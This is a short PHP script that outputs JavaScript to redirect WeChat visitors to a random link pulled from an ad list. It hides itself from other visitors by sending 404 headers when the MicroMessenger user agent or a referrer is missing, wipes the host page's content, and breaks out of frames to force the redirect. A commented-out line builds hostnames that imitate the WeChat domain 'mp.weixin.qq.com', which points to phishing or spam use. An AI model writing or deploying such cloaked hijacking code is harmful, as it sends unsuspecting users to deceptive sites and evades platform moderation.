<?php
  error_reporting(0);
  header('Content-Type: application/x-javascript; charset=UTF-8');
  header("Access-Control-Allow-Origin: *"); 
	if(!strstr($_SERVER['HTTP_USER_AGENT'],"MicroMessenger")) 
	{	
	 header('HTTP/1.1 404 Not Found');
     header("status: 404 Not Found");	
	}

	$ursss= $_SERVER["HTTP_REFERER"]; 
	if($ursss=="")	{	
	 header('HTTP/1.1 404 Not Found');
     header("status: 404 Not Found");	
	}
	
	function getRandChar($length){
   $str = null;
   $strPol = "abcdefghijklmnopqrstuvwxyz";
   $max = strlen($strPol)-1;

   for($i=0;$i<$length;$i++){
    $str.=$strPol[rand(0,$max)];//rand($min,$max)生成介于min和max两个数之间的一个随机整数
   }

   return $str;
  } 
   $js=getRandChar(8);
    $file = '../vfx/ad.txt'; 
    $content =  @file_get_contents($file); 
    $share = explode("\r\n", $content); 
    $useShare = $share[rand(0, count($share) - 1)];
    //$useShare= 'http://mp.weixin.qq.com.m.'.$useShare.'/ss/'.$js;
if($_GET['type']==1) {
echo <<<Eof
document.title = 'loading...';
   var ua = navigator.userAgent;
if (ua.indexOf("MicroMessenger") > 0) {
    var noreferrer = false;
    try { document.getElementsByTagName("body")[0].outerHTML = "<center>Loading...</center>"; } catch (e) {};
    if (top != window || !document.body){
        top.location.href = '{$useShare}';
    }
    else{
        var a=document.createElement('a');a.href='{$useShare}';if(noreferrer) a.rel='noreferrer';a.click();
    }
};
Eof;
exit;
}
    
?>